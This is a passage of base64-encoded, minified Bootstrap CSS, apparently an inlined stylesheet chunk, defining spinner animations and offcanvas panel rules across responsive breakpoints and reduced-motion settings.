cy1zcGlubmVyLXdpZHRoOjJyZW07LS1icy1zcGlubmVyLWhlaWdodDoycmVtOy0tYnMtc3Bpbm5lci12ZXJ0aWNhbC1hbGlnbjotMC4xMjVlbTstLWJzLXNwaW5uZXItYm9yZGVyLXdpZHRoOjAuMjVlbTstLWJzLXNwaW5uZXItYW5pbWF0aW9uLXNwZWVkOjAuNzVzOy0tYnMtc3Bpbm5lci1hbmltYXRpb24tbmFtZTpzcGlubmVyLWJvcmRlcjtib3JkZXI6dmFyKC0tYnMtc3Bpbm5lci1ib3JkZXItd2lkdGgpIHNvbGlkIGN1cnJlbnRjb2xvcjtib3JkZXItcmlnaHQtY29sb3I6dHJhbnNwYXJlbnR9LnNwaW5uZXItYm9yZGVyLXNtey0tYnMtc3Bpbm5lci13aWR0aDoxcmVtOy0tYnMtc3Bpbm5lci1oZWlnaHQ6MXJlbTstLWJzLXNwaW5uZXItYm9yZGVyLXdpZHRoOjAuMmVtfUBrZXlmcmFtZXMgc3Bpbm5lci1ncm93ezAle3RyYW5zZm9ybTpzY2FsZSgwKX01MCV7b3BhY2l0eToxO3RyYW5zZm9ybTpub25lfX0uc3Bpbm5lci1ncm93ey0tYnMtc3Bpbm5lci13aWR0aDoycmVtOy0tYnMtc3Bpbm5lci1oZWlnaHQ6MnJlbTstLWJzLXNwaW5uZXItdmVydGljYWwtYWxpZ246LTAuMTI1ZW07LS1icy1zcGlubmVyLWFuaW1hdGlvbi1zcGVlZDowLjc1czstLWJzLXNwaW5uZXItYW5pbWF0aW9uLW5hbWU6c3Bpbm5lci1ncm93O2JhY2tncm91bmQtY29sb3I6Y3VycmVudGNvbG9yO29wYWNpdHk6MH0uc3Bpbm5lci1ncm93LXNtey0tYnMtc3Bpbm5lci13aWR0aDoxcmVtOy0tYnMtc3Bpbm5lci1oZWlnaHQ6MXJlbX1AbWVkaWEgKHByZWZlcnMtcmVkdWNlZC1tb3Rpb246cmVkdWNlKXsuc3Bpbm5lci1ib3JkZXIsLnNwaW5uZXItZ3Jvd3stLWJzLXNwaW5uZXItYW5pbWF0aW9uLXNwZWVkOjEuNXN9fS5vZmZjYW52YXMsLm9mZmNhbnZhcy1sZywub2ZmY2FudmFzLW1kLC5vZmZjYW52YXMtc20sLm9mZmNhbnZhcy14bCwub2ZmY2FudmFzLXh4bHstLWJzLW9mZmNhbnZhcy16aW5kZXg6MTA0NTstLWJzLW9mZmNhbnZhcy13aWR0aDo0MDBweDstLWJzLW9mZmNhbnZhcy1oZWlnaHQ6MzB2aDstLWJzLW9mZmNhbnZhcy1wYWRkaW5nLXg6MXJlbTstLWJzLW9mZmNhbnZhcy1wYWRkaW5nLXk6MXJlbTstLWJzLW9mZmNhbnZhcy1jb2xvcjogOy0tYnMtb2ZmY2FudmFzLWJnOiNmZmY7LS1icy1vZmZjYW52YXMtYm9yZGVyLXdpZHRoOjFweDstLWJzLW9mZmNhbnZhcy1ib3JkZXItY29sb3I6dmFyKC0tYnMtYm9yZGVyLWNvbG9yLXRyYW5zbHVjZW50KTstLWJzLW9mZmNhbnZhcy1ib3gtc2hhZG93OjAgMC4xMjVyZW0gMC4yNXJlbSByZ2JhKDAsIDAsIDAsIDAuMDc1KX1AbWVkaWEgKG1heC13aWR0aDo1NzUuOThweCl7Lm9mZmNhbnZhcy1zbXtwb3NpdGlvbjpmaXhlZDtib3R0b206MDt6LWluZGV4OnZhcigtLWJzLW9mZmNhbnZhcy16aW5kZXgpO2Rpc3BsYXk6ZmxleDtmbGV4LWRpcmVjdGlvbjpjb2x1bW47bWF4LXdpZHRoOjEwMCU7Y29sb3I6dmFyKC0tYnMtb2ZmY2FudmFzLWNvbG9yKTt2aXNpYmlsaXR5OmhpZGRlbjtiYWNrZ3JvdW5kLWNvbG9yOnZhcigtLWJzLW9mZmNhbnZhcy1iZyk7YmFja2dyb3VuZC1jbGlwOnBhZGRpbmctYm94O291dGxpbmU6MDt0cmFuc2l0aW9uOnRyYW5zZm9ybSAuM3MgZWFzZS1pbi1vdXR9fUBtZWRpYSAobWF4LXdpZHRoOjU3NS45OHB4KSBhbmQgKHByZWZlcnMtcmVkdWNlZC1tb3Rpb246cmVkdWNlKXsub2ZmY2FudmFzLXNte3RyYW5zaXRpb246bm9uZX19QG1lZGlhIChtYXgtd2lkdGg6NTc1Ljk4cHgpey5vZmZjYW52YXMtc20ub2ZmY2FudmFzLXN0YXJ0e3RvcDowO2xlZnQ6MDt3aWR0aDp2YXIoLS1icy1vZmZjYW52YXMtd2lkdGgpO2JvcmRlci1yaWdodDp2YXIoLS1icy1vZmZjYW52YXMtYm9yZGVyLXdpZHRoKSBzb2xpZCB2YXIoLS1icy1vZmZjYW52YXMtYm9yZGVyLWNvbG9yKTt0cmFuc2Zvcm06dHJhbnNsYXRlWCgtMTAwJSl9fUBtZWRpYSAobWF4LXdpZHRoOjU3NS45OHB4KXsub2ZmY2FudmFzLXNtLm9mZmNhbnZhcy1lbmR7dG9wOjA7cmlnaHQ6MDt3aWR0aDp2YXIoLS1icy1vZmZjYW52YXMtd2lkdGgpO2JvcmRlci1sZWZ0OnZhcigtLWJzLW9mZmNhbnZhcy1ib3JkZXItd2lkdGgpIHNvbGlkIHZhcigtLWJzLW9mZmNhbnZhcy1ib3JkZXItY29sb3IpO3RyYW5zZm9ybTp0cmFuc2xhdGVYKDEwMCUpfX1AbWVkaWEgKG1heC13aWR0aDo1NzUuOThweCl7Lm9mZmNhbnZhcy1zbS5vZmZjYW52YXMtdG9we3RvcDowO3JpZ2h0OjA7bGVmdDowO2hlaWdodDp2YXIoLS1icy1vZmZjYW52YXMtaGVpZ2h0KTttYXgtaGVpZ2h0OjEwMCU7Ym9yZGVyLWJvdHRvbTp2YXIoLS1icy1vZmZjYW52YXMtYm9yZGVyLXdpZHRoKSBzb2xpZCB2YXIoLS1icy1vZmZjYW52YXMtYm9yZGVyLWNvbG9yKTt0cmFuc2Zvcm06dHJhbnNsYXRlWSgtMTAwJSl9fUBtZWRpYSAobWF4LXdpZHRoOjU3NS45OHB4KXsub2ZmY2FudmFzLXNtLm9mZmNhbnZhcy1ib3R0b217cmlnaHQ6MDtsZWZ0OjA7aGVpZ2h0OnZhcigtLWJzLW9mZmNhbnZhcy1oZWlnaHQpO21heC1oZWlnaHQ6MTAwJTtib3JkZXItdG9wOnZhcigtLWJzLW9mZmNhbnZhcy1ib3JkZXItd2lkdGgpIHNvbGlkIHZhcigtLWJzLW9mZmNhbnZhcy1ib3JkZXItY29sb3IpO3RyYW5zZm9ybTp0cmFuc2xhdGVZKDEwMCUpfX1AbWVkaWEgKG1heC13aWR0aDo1NzUuOThweCl7Lm9mZmNhbnZhcy1zbS5zaG93Om5vdCguaGlkaW5nKSwub2ZmY2FudmFzLXNtLnNob3dpbmd7dHJhbnNmb3JtOm5vbmV9fUBtZWRpYSAobWF4LXdpZHRoOjU3NS45OHB4KXsub2ZmY2FudmFzLXNtLmhpZGluZywub2ZmY2FudmFzLXNtLnNob3csLm9mZmNhbnZhcy1zbS5zaG93aW5ne3Zpc2liaWxpdHk6dmlzaWJsZX19QG1lZGlhIChtaW4td2lkdGg6NTc2cHgpey5vZmZjYW52YXMtc217LS1icy1vZmZjYW52YXMtaGVpZ2h0OmF1dG87LS1icy1vZmZjYW52YXMtYm9yZGVyLXdpZHRoOjA7YmFja2dyb3VuZC1jb2xvcjp0cmFuc3BhcmVudCFpbXBvcnRhbnR9Lm9mZmNhbnZhcy1zbSAub2ZmY2FudmFzLWhlYWRlcntkaXNwbGF5Om5vbmV9Lm9mZmNhbnZhcy1zbSAub2ZmY2FudmFzLWJvZHl7ZGlzcGxheTpmbGV4O2ZsZXgtZ3JvdzowO3BhZGRpbmc6MDtvdmVyZmxvdy15OnZpc2libGU7YmFja2dyb3VuZC1jb2xvcjp0cmFuc3BhcmVudCFpbXBvcnRhbnR9fUBtZWRpYSAobWF4LXdpZHRoOjc2Ny45OHB4KXsub2ZmY2FudmFzLW1ke3Bvc2l0aW9uOmZpeGVkO2JvdHRvbTowO3otaW5kZXg6dmFyKC0tYnMtb2ZmY2FudmFzLXppbmRleCk7ZGlzcGxheTpmbGV4O2ZsZXgtZGlyZWN0aW9uOmNvbHVtbjttYXgtd2lkdGg6MTAwJTtjb2xvcjp2YXIoLS1icy1vZmZjYW52YXMtY29sb3IpO3Zpc2liaWxpdHk6aGlkZGVuO2JhY2tncm91bmQtY29sb3I6dmFyKC0tYnMtb2ZmY2FudmFzLWJnKTtiYWNrZ3JvdW5kLWNsaXA6cGFkZGluZy1ib3g7b3V0bGluZTowO3RyYW5zaXRpb246dHJhbnNmb3JtIC4zcyBlYXNlLWluLW91dH19QG1lZGlhIChtYXgtd2lkdGg6NzY3Ljk4cHgpIGFuZCAocHJlZmVycy1yZWR1Y2VkLW1vdGlvbjpyZWR1Y2Upey5vZmZjYW52YXMtbWR7dHJhbnNpdGlvbjpub25lfX1AbWVkaWEgKG1heC13aWR0aDo3NjcuOThweCl7Lm9mZmNhbnZhcy1tZC5vZmZjYW52YXMtc3RhcnR7dG9wOjA7bGVmdDowO3dpZHRoOnZhcigtLWJzLW9mZmNhbnZhcy13aWR0aCk7Ym9yZGVyLXJpZ2h0OnZhcigtLWJzLW9mZmNhbnZhcy1ib3JkZXItd2lkdGgpIHNvbGlkIHZhcigtLWJzLW9mZmNhbnZhcy1ib3JkZXItY29sb3IpO3RyYW5zZm9ybTp0cmFuc2xhdGVYKC0xMDAlKX19QG1lZGlhIChtYXgtd2lkdGg6NzY3Ljk4cHgpey5vZmZjYW52YXMtbWQub2ZmY2FudmFzLWVuZHt0b3A6MDtyaWdodDowO3dpZHRoOnZhcigtLWJzLW9mZmNhbnZhcy13aWR0aCk7Ym9yZGVyLWxlZnQ6dmFyKC0tYnMtb2ZmY2FudmFzLWJvcmRlci13aWR0aCkgc29saWQgdmFyKC0tYnMtb2ZmY2FudmFzLWJvcmRlci1jb2xvcik7dHJhbnNmb3JtOnRyYW5zbGF0ZVgoMTAwJSl9fUBtZWRpYSAobWF4LXdpZHRoOjc2Ny45OHB4KXsub2ZmY2FudmFzLW1kLm9mZmNhbnZhcy10b3B7dG9wOjA7cmlnaHQ6MDtsZWZ0OjA7aGVpZ2h0OnZhcigtLWJzLW9mZmNhbnZhcy1oZWlnaHQpO21heC1oZWlnaHQ6MTAwJTtib3JkZXItYm90dG9tOnZhcigtLWJzLW9mZmNhbnZhcy1ib3JkZXItd2lkdGgpIHNvbGlkIHZhcigtLWJzLW9mZmNhbnZhcy1ib3JkZXItY29sb3IpO3RyYW5zZm9ybTp0cmFuc2xhdGVZKC0xMDAlKX19QG1lZGlhIChtYXgtd2lkdGg6NzY3Ljk4cHgpey5vZmZjYW52YXMtbWQub2ZmY2FudmFzLWJvdHRvbXtyaWdodDowO2xlZnQ6MDtoZWlnaHQ6dmFyKC0tYnMtb2ZmY2FudmFzLWhlaWdodCk7bWF4LWhlaWdodDoxMDAlO2JvcmRlci10b3A6dmFyKC0tYnMtb2ZmY2FudmFzLWJvcmRlci13aWR0aCkgc29saWQgdmFyKC0tYnMtb2ZmY2FudmFzLWJvcmRlci1jb2xvcik7dHJhbnNmb3JtOnRyYW5zbGF0ZVkoMTAwJSl9fUBtZWRpYSAobWF4LXdpZHRoOjc2Ny45OHB4KXsub2ZmY2FudmFzLW1kLnNob3c6bm90KC5oaWRpbmcpLC5vZmZjYW52YXMtbWQuc2hvd2luZ3t0cmFuc2Zvcm06bm9uZX19QG1lZGlhIChtYXgtd2lkdGg6NzY3Ljk4cHgpey5vZmZjYW52YXMtbWQuaGlkaW5nLC5vZmZjYW52YXMtbWQuc2hvdywub2ZmY2FudmFzLW1kLnNob3dpbmd7dmlzaWJpbGl0eTp2aXNpYmxlfX1AbWVkaWEgKG1pbi13aWR0aDo3NjhweCl7Lm9mZmNhbnZhcy1tZHstLWJzLW9mZmNhbnZhcy1oZWlnaHQ6YXV0bzstLWJzLW9mZmNhbnZhcy1ib3JkZXItd2lkdGg6MDtiYWNrZ3JvdW5kLWNvbG9yOnRyYW5zcGFyZW50IWltcG9ydGFudH0ub2ZmY2FudmFzLW1kIC5vZmZjYW52YXMtaGVhZGVye2Rpc3BsYXk6bm9uZX0ub2ZmY2FudmFzLW1kIC5vZmZjYW52YXMtYm9keXtkaXNwbGF5OmZsZXg7ZmxleC1ncm93OjA7cGFkZGluZzowO292ZXJmbG93LXk6dmlzaWJsZTtiYWNrZ3JvdW5kLWNvbG9yOnRyYW5zcGFyZW50IWltcG9ydGFudH19QG1lZGlhIChtYXgtd2lkdGg6OTkxLjk4cHgpey5vZmZjYW52YXMtbGd7cG9zaXRpb246Zml4ZWQ7Ym90dG9tOjA7ei1pbmRleDp2YXIoLS1icy1vZmZjYW52YXMtemluZGV4KTtkaXNwbGF5OmZsZXg7ZmxleC1kaXJlY3Rpb246Y29sdW1uO21heC13aWR0aDoxMDAlO2NvbG9yOnZhcigtLWJzLW9mZmNhbnZhcy1jb2xvcik7dmlzaWJpbGl0eTpoaWRkZW47YmFja2dyb3VuZC1jb2xvcjp2YXIoLS1icy1vZmZjYW52YXMtYmcpO2JhY2tncm91bmQtY2xpcDpwYWRkaW5nLWJveDtvdXRsaW5lOjA7dHJhbnNpdGlvbjp0cmFuc2Zvcm0gLjNzIGVhc2UtaW4tb3V0fX1AbWVkaWEgKG1heC13aWR0aDo5OTEuOThweCkgYW5kIChwcmVmZXJzLXJlZHVjZWQtbW90aW9uOnJlZHVjZSl7Lm9mZmNhbnZhcy1sZ3t0cmFuc2l0aW9uOm5vbmV9fUBtZWRpYSAobWF4LXdpZHRoOjk5MS45OHB4KXsub2ZmY2FudmFzLWxnLm9mZmNhbnZhcy1zdGFydHt0b3A6MDtsZWZ0OjA7d2lkdGg6dmFyKC0tYnMtb2ZmY2FudmFzLXdpZHRoKTtib3JkZXItcmlnaHQ6dmFyKC0tYnMtb2ZmY2FudmFzLWJvcmRlci13aWR0aCkgc29saWQgdmFyKC0tYnMtb2ZmY2FudmFzLWJvcmRlci1jb2xvcik7dHJhbnNmb3JtOnRyYW5zbGF0ZVgoLTEwMCUpfX1AbWVkaWEgKG1heC13aWR0aDo5OTEuOThweCl7Lm9mZmNhbnZhcy1sZy5vZmZjYW52YXMtZW5ke3RvcDowO3JpZ2h0OjA7d2lkdGg6dmFyKC0tYnMtb2ZmY2FudmFzLXdpZHRoKTtib3JkZXItbGVmdDp2YXIoLS1icy1vZmZjYW52YXMtYm9yZGVyLXdpZHRoKSBzb2xpZCB2YXIoLS1icy1vZmZjYW52YXMtYm9yZGVyLWNvbG9yKTt0cmFuc2Zvcm06dHJhbnNsYXRlWCgxMDAlKX19QG1lZGlhIChtYXgtd2lkdGg6OTkxLjk4cHgpey5vZmZjYW52YXMtbGcub2ZmY2FudmFzLXRvcHt0b3A6MDtyaWdodDowO2xlZnQ6MDtoZWlnaHQ6dmFyKC0tYnMtb2ZmY2FudmFzLWhlaWdodCk7bWF4LWhlaWdodDoxMDAlO2JvcmRlci1ib3R0b206dmFyKC0tYnMtb2ZmY2FudmFzLWJvcmRlci13aWR0aCkgc29saWQgdmFyKC0tYnMtb2ZmY2FudmFzLWJvcmRlci1jb2xvcik7dHJhbnNmb3JtOnRyYW5zbGF0ZVkoLTEwMCUpfX1AbWVkaWEgKG1heC13aWR0aDo5OTEuOThweCl7Lm9mZmNhbnZhcy1sZy5vZmZjYW52YXMtYm90dG9te3JpZ2h0OjA7bGVmdDowO2hlaWdodDp2YXIoLS1icy1vZmZjYW52YXMtaGVpZ2h0KTttYXgtaGVpZ2h0OjEwMCU7Ym9yZGVyLXRvcDp2YXIoLS1icy1vZmZjYW52YXMtYm9yZGVyLXdpZHRoKSBzb2xpZCB2YXIoLS1icy1vZmZjYW52YXMtYm9yZGVyLWNvbG9yKTt0cmFuc2Zvcm06dHJhbnNsYXRlWSgxMDAlKX19QG1lZGlhIChtYXgtd2lkdGg6OTkxLjk4cHgpey5vZmZjYW52YXMtbGcuc2hvdzpub3QoLmhpZGluZyksLm9mZmNhbnZhcy1sZy5zaG93aW5ne3RyYW5zZm9ybTpub25lfX1AbWVkaWEgKG1heC13aWR0aDo5OTEuOThweCl7Lm9mZmNhbnZhcy1sZy5oaWRpbmcsLm9mZmNhbnZhcy1sZy5zaG93LC5vZmZjYW52YXMtbGcuc2hvd2luZ3t2aXNpYmlsaXR5OnZpc2libGV9fUBtZWRpYSAobWluLXdpZHRoOjk5MnB4KXsub2ZmY2FudmFzLWxney0tYnMtb2ZmY2FudmFzLWhlaWdodDphdXRvOy0tYnMtb2ZmY2FudmFzLWJvcmRlci13aWR0aDowO2JhY2tncm91bmQtY29sb3I6dHJhbnNwYXJlbnQhaW1wb3J0YW50fS5vZmZjYW52YXMtbGcgLm9mZmNhbnZhcy1oZWFkZXJ7ZGlzcGxheTpub25lfS5vZmZjYW52YXMtbGcgLm9mZmNhbnZhcy1ib2R5e2Rpc3BsYXk6ZmxleDtmbGV4LWdyb3c6MDtwYWRkaW5nOjA7b3ZlcmZsb3cteTp2aXNpYmxlO2JhY2tncm91bmQtY29sb3I6dHJhbnNwYXJlbnQhaW1wb3J0YW50fX1AbWVkaWEgKG1heC13aWR0aDoxMTk5Ljk4cHgpey5vZmZjYW52YXMteGx7cG9zaXRpb246Zml4ZWQ7Ym90dG9tOjA7ei1pbmRleDp2YXIoLS1icy1vZmZjYW52YXMtemluZGV4KTtkaXNwbGF5OmZsZXg7ZmxleC1kaXJlY3Rpb246Y29sdW1uO21heC13aWR0aDoxMDAlO2NvbG9yOnZhcigtLWJzLW9mZmNhbnZhcy1jb2xvcik7dmlzaWJpbGl0eTpoaWRkZW47YmFja2dyb3VuZC1jb2xvcjp2YXIoLS1icy1vZmZjYW52YXMtYmcpO2JhY2tncm91bmQtY2xpcDpwYWRkaW5nLWJveDtvdXRsaW5lOjA7dHJhbnNpdGlvbjp0cmFuc2Zvcm0gLjNzIGVhc2UtaW4tb3V0fX1AbWVkaWEgKG1heC13aWR0aDoxMTk5Ljk4cHgpIGFuZCAocHJlZmVycy1yZWR1Y2VkLW1vdGlvbjpyZWR1Y2Upey5vZmZjYW52YXMteGx7dHJhbnNpdGlvbjpub25lfX1AbWVkaWEgKG1heC13aWR0aDoxMTk5Ljk4cHgpey5vZmZjYW52YXMteGwub2ZmY2FudmFzLXN0YXJ0e3RvcDowO2xlZnQ6MDt3aWR0aDp2YXIoLS1icy1vZmZjYW52YXMtd2lkdGgpO2JvcmRlci1yaWdodDp2YXIoLS1icy1vZmZjYW52YXMtYm9yZGVyLXdpZHRoKSBzb2xpZCB2YXIoLS1icy1vZmZjYW52YXMtYm9yZGVyLWNvbG9yKTt0cmFuc2Zvcm06dHJhbnNsYXRlWCgtMTAwJSl9fUBtZWRpYSAobWF4LXdpZHRoOjExOTkuOThweCl7Lm9mZmNhbnZhcy14bC5vZmZjYW52YXMtZW5ke3RvcDowO3JpZ2h0OjA7d2lkdGg6dmFyKC0tYnMtb2ZmY2FudmFzLXdpZHRoKTtib3JkZXItbGVmdDp2YXIoLS1icy1vZmZjYW52YXMtYm9yZGVyLXdpZHRoKSBzb2xpZCB2YXIoLS1icy1vZmZjYW52YXMtYm9yZGVyLWNvbG9yKTt0cmFuc2Zvcm06dHJhbnNsYXRlWCgxMDAlKX19QG1lZGlhIChtYXgtd2lkdGg6MTE5OS45OHB4KXsub2ZmY2FudmFzLXhsLm9mZmNhbnZhcy10b3B7dG9wOjA7cmlnaHQ6MDtsZWZ0OjA7aGVpZ2h0OnZhcigtLWJzLW9mZmNhbnZhcy1oZWlnaHQpO21heC1oZWlnaHQ6MTAwJTtib3JkZXItYm90dG9tOnZhcigtLWJzLW9mZmNhbnZhcy1ib3JkZXItd2lkdGgpIHNvbGlkIHZhcigtLWJzLW9mZmNhbnZhcy1ib3JkZXItY29sb3IpO3RyYW5zZm9ybTp0cmFuc2xhdGVZKC0xMDAlKX19QG1lZGlhIChtYXgtd2lkdGg6MTE5OS45OHB4KXsub2ZmY2FudmFzLXhsLm9mZmNhbnZhcy1ib3R0b217cmlnaHQ6MDtsZWZ0OjA7aGVpZ2h0OnZhcigtLWJzLW9mZmNhbnZhcy1oZWlnaHQpO21heC1oZWlnaHQ6MTAwJTtib3JkZXItdG9wOnZhcigtLWJzLW9mZmNhbnZhcy1ib3JkZXItd2lkdGgpIHNvbGlkIHZhcigtLWJzLW9mZmNhbnZhcy1ib3JkZXItY29sb3IpO3RyYW5zZm9ybTp0cmFuc2xhdGVZKDEwMCUpfX1AbWVkaWEgKG1heC13aWR0aDoxMTk5Ljk4cHgpey5vZmZjYW52YXMteGwuc2hvdzpub3QoLmhpZGluZyksLm9mZmNhbnZhcy14bC5zaG93aW5ne3RyYW5zZm9ybTpub25lfX1AbWVkaWEgKG1heC13aWR0aDoxMTk5Ljk4cHgpey5vZmZjYW52YXMteGwuaGlkaW5nLC5vZmZjYW52YXMteGwuc2hvdywub2ZmY2FudmFzLXhsLnNob3dpbmd7dmlzaWJpbGl0eTp2aXNpYmxlfX1AbWVkaWEgKG1pbi13aWR0aDoxMjAwcHgpey5vZmZjYW52YXMteGx7LS1icy1vZmZjYW52YXMtaGVpZ2h0OmF1dG87LS1icy1vZmZjYW52YXMtYm9yZGVyLXdpZHRoOjA7YmFja2dyb3VuZC1jb2xvcjp0cmFuc3BhcmVudCFpbXBvcnRhbnR9Lm9mZmNhbnZhcy14bCAub2ZmY2FudmFzLWhlYWRlcntkaXNwbGF5Om5vbmV9Lm9mZmNhbnZhcy14bCAub2ZmY2FudmFzLWJvZHl7ZGlzcGxheTpmbGV4O2ZsZXgtZ3JvdzowO3BhZGRpbmc6MDtvdmVyZmxvdy15OnZpc2libGU7YmFja2dyb3VuZC1jb2xvcjp0cmFuc3BhcmVudCFpbXBvcnRhbnR9fUBtZWRpYSAobWF4LXdpZHRoOjEzOTkuOThweCl7Lm9mZmNhbnZhcy14eGx7cG9zaXRpb246Zml4ZWQ7Ym90dG9tOjA7ei1pbmRleDp2YXIoLS1icy1vZmZjYW52YXMtemluZGV4KTtkaXNwbGF5OmZsZXg7ZmxleC1kaXJlY3Rpb246Y29sdW1uO21heC13aWR0aDoxMDAlO2NvbG9yOnZhcigtLWJzLW9mZmNhbnZhcy1jb2xvcik7dmlzaWJpbGl0eTpoaWRkZW47YmFja2dyb3VuZC1jb2xvcjp2YXIoLS1icy1vZmZjYW52YXMtYmcpO2JhY2tncm91bmQtY2xpcDpwYWRkaW5nLWJveDtvdXRsaW5lOjA7dHJhbnNpdGlvbjp0cmFuc2Zvcm0gLjNzIGVhc2UtaW4tb3V0fX1AbWVkaWEgKG1heC13aWR0aDoxMzk5Ljk4cHgpIGFuZCAocHJlZmVycy1yZWR1Y2VkLW1vdGlvbjpyZWR1Y2Upey5vZmZjYW52YXMteHhse3RyYW5zaXRpb246bm9uZX19QG1lZGlhIChtYXgtd2lkdGg6MTM5OS45OHB4KXsub2ZmY2FudmFzLXh4bC5vZmZjYW52YXMtc3RhcnR7dG9wOjA7bGVmdDowO3dpZHRoOnZhcigtLWJzLW9mZmNhbnZhcy13aWR0aCk7Ym9yZGVyLXJpZ2h0OnZhcigtLWJzLW9mZmNhbnZhcy1ib3JkZXItd2lkdGgpIHNvbGlkIHZhcigtLWJzLW9mZmNhbnZhcy1ib3JkZXItY29sb3IpO3RyYW5zZm9ybTp0cmFuc2xhdGVYKC0xMDAlKX19QG1lZGlhIChtYXgtd2lkdGg6MTM5OS45OHB4KXsub2ZmY2FudmFzLXh4bC5vZmZjYW52YXMtZW5ke3RvcDowO3JpZ2h0OjA7d2lkdGg6dmFyKC0tYnMtb2ZmY2FudmFzLXdpZHRoKTtib3JkZXItbGVmdDp2YXIoLS1icy1vZmZjYW52YXMtYm9yZGVyLXdpZHRoKSBzb2xpZCB2YXIoLS1icy1vZmZjYW52YXMtYm9yZGVyLWNvbG9yKTt0cmFuc2Zvcm06dHJhbnNsYXRlWCgxMDAlKX19QG1lZGlhIChtYXgtd2lkdGg6MTM5OS45OHB4KXsub2ZmY2FudmFzLXh4bC5vZmZjYW52YXMtdG9we3RvcDowO3JpZ2h0OjA7bGVmdDowO2hlaWdodDp2YXIoLS1icy1vZmZjYW52YXMtaGVpZ2h0KTttYXgtaGVpZ2h0OjEwMCU7Ym9yZGVyLWJvdHRvbTp2YXIoLS1icy1vZmZjYW52YXMtYm9yZGVyLXdpZHRoKSBzb2xpZCB2YXIoLS1icy1vZmZjYW52YXMtYm9yZGVyLWNvbG9yKTt0cmFuc2Zvcm06dHJhbnNsYXRlWSgtMTAwJSl9fUBtZWRpYSAobWF4LXdpZHRoOjEzOTkuOThweCl7Lm9mZmNhbnZhcy14eGwub2ZmY2FudmFzLWJvdHRvbXtyaWdodDowO2xlZnQ6MDtoZWlnaHQ6dmFyKC0tYnMtb2ZmY2FudmFzLWhlaWdodCk7bWF4LWhlaWdodDoxMDAlO2JvcmRlci10b3A6dmFyKC0tYnMtb2ZmY2FudmFzLWJvcmRlci13aWR0aCkgc29saWQgdmFyKC0tYnMtb2ZmY2FudmFzLWJvcmRlci1jb2xvcik7dHJhbnNmb3JtOnRyYW5zbGF0ZVkoMTAwJSl9fUBtZWRpYSAobWF4LXdpZHRoOjEzOTkuOThweCl7Lm9mZmNhbnZhcy14eGwuc2hvdzpub3QoLmhpZGluZyksLm9mZmNhbnZhcy14eGwuc2hvd2luZ3t0cmFuc2Zvcm06bm9uZX19QG1lZGlhIChtYXgtd2lkdGg6MTM5OS45OHB4KXsub2ZmY2FudmFzLXh4bC5oaWRpbmcsLm9mZmNhbnZhcy14eGwuc2hvdywub2ZmY2FudmFzLXh4bC5zaG93aW5ne3Zpc2liaWxpdHk6dmlzaWJsZX19QG1lZGlhIChtaW4td2lkdGg6MTQwMHB4KXsub2ZmY2FudmFzLXh4bHstLWJzLW9mZmNhbnZhcy1oZWlnaHQ6YXV0bzstLWJzLW9mZmNhbnZhcy1ib3JkZXItd2lkdGg6MDtiYWNrZ3JvdW5kLWNvbG9yOnRyYW5zcGFyZW50IWltcG9ydGFudH0ub2ZmY2FudmFzLXh4bCAub2ZmY2FudmFzLWhlYWRlcntkaXNwbGF5Om5vbmV9Lm9mZmNhbnZhcy14eGwgLm9mZmNhbnZhcy1ib2R5e2Rpc3BsYXk6ZmxleDtmbGV4LWdyb3c6MDtwYWRkaW5nOjA7b3ZlcmZsb3cteTp2aXNpYmxlO2JhY2tncm91bmQtY29sb3I6dHJhbnNwYXJlbnQhaW1wb3J0YW50fX0ub2ZmY2FudmFze3Bvc2l0aW9uOmZpeGVkO2JvdHRvbTowO3otaW5kZXg6dmFyKC0tYnMtb2ZmY2FudmFzLXppbmRleCk7ZGlzcGxheTpmbGV4O2ZsZXgtZGlyZWN0aW9uOmNvbHVtbjttYXgtd2lkdGg6MTAwJTtjb2xvcjp2YXIoLS1icy1vZmZjYW52YXMtY29sb3IpO3Zpc2liaWxpdHk6aGlkZGVuO2JhY2tncm91bmQtY29sb3I6dmFyKC0tYnMtb2ZmY2FudmFzLWJnKTtiYWNrZ3JvdW5kLWNsaXA6cGFkZGluZy1ib3g7b3V0bGluZTowO3RyYW5zaXRpb246dHJhbnNmb3JtIC4zcyBlYXNlLWluLW91dH1AbWVkaWEgKHByZWZlcnMtcmVkdWNlZC1tb3Rpb246cmVkdWNlKXsub2ZmY2FudmFze3RyYW5zaXRpb246bm9uZX19Lm9mZmNhbnZhcy5vZmZjYW52YXMtc3RhcnR7dG9wOjA7bGVmdDowO3dpZHRoOnZhcigtLWJzLW9mZmNhbnZhcy13aWR0aCk7Ym9yZGVyLXJpZ2h0OnZhcigtLWJzLW9mZmNhbnZhcy1ib3JkZXItd2lkdGgpIHNvbGlkIHZhcigtLWJzLW9mZmNhbnZhcy1ib3JkZXItY29sb3IpO3RyYW5zZm9ybTp0cmFuc2xhdGVYKC0xMDAlKX0ub2ZmY2FudmFzLm9mZmNhbnZhcy1lbmR7dG9wOjA7cmlnaHQ6MDt3aWR0aDp2YXIoLS1icy1vZmZjYW52YXMtd2lkdGgpO2JvcmRlci1sZWZ0OnZhcigtLWJzLW9mZmNhbnZhcy1ib3JkZXItd2lkdGgpIHNvbGlkIHZhcigtLWJzLW9mZmNhbnZhcy1ib3JkZXItY29sb3IpO3RyYW5zZm9ybTp0cmFuc2xhdGVYKDEwMCUpfS5vZmZjYW52YXMub2ZmY2FudmFzLXRvcHt0b3A6MDtyaWdodDowO2xlZnQ6MDtoZWlnaHQ6dmFyKC0tYnMtb2ZmY2FudmFzLWhlaWdodCk7bWF4LWhlaWdodDoxMDAlO2JvcmRlci1ib3R0b206dmFyKC0tYnMtb2ZmY2FudmFzLWJvcmRlci13aWR0aCkgc29saWQgdmFyKC0tYnMtb2ZmY2FudmFzLWJvcmRlci1jb2xvcik7dHJhbnNmb3JtOnRyYW5zbGF0ZVkoLTEwMCUpfS5vZmZjYW52YXMub2ZmY2FudmFzLWJvdHRvbXtyaWdodDowO2xlZnQ6MDtoZWlnaHQ6dmFyKC0tYnMtb2ZmY2FudmFzLWhlaWdodCk7bWF4LWhlaWdodDoxMDAlO2JvcmRlci10b3A6dmFyKC0tYnMtb2ZmY2FudmFzLWJvcmRlci13aWR0aCkgc29saWQgdmFyKC0tYnMtb2ZmY2FudmFzLWJvcmRlci1jb2xvcik7dHJhbnNmb3JtOnRyYW5zbGF0ZVkoMTAwJSl9Lm9mZmNhbnZhcy5zaG93Om5vdCguaGlkaW5nKSwub2ZmY2FudmFzLnNob3dpbmd7dHJhbnNmb3JtOm5vbmV9Lm9mZmNhbnZhcy5oaWRpbmcsLm9mZmNhbnZhcy5zaG93LC5vZmZjYW52YXMuc2hvd2luZ3t2aXNpYmlsaXR5OnZpc2libGV9Lm9mZmN